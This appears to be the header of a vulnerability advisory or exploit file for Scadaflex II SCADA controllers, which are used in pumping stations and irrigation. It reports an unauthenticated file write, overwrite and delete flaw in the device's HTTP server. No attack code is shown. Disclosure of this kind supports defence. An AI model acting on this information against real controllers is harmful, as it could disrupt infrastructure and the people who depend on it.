#
# Summary: Scadaflex II controllers are 100% web based
# for both configuration and user interface. No applications
# are required other than any standard web browser. They
# are easily supported by remote access over the Internet
# or a cellular link. Scadaflex II controllers support
# industry standard wired communications using Modbus,
# DF1, SNP, and Ethernet IP protocols along with Ethernet-Serial
# bridging for Modbus or any other protocol. Each Scadaflex
# II controller has both analog and digital, inputs and
# outputs, sufficient for pumping stations, irrigation
# controls, and other similar process monitoring and control
# applications. They can also serve as communications
# concentrators and protocol converters that enhance the
# operation of existing PLCs and process equipment.
#
# Desc: The SCADA controller is vulnerable to unauthenticated
# file write/overwrite and delete vulnerability. This allows
# an attacker to execute critical file CRUD operations on the
# device that can potentially allow system access and impact
# availability.
#
# Tested on: SCADA HTTP Server
#
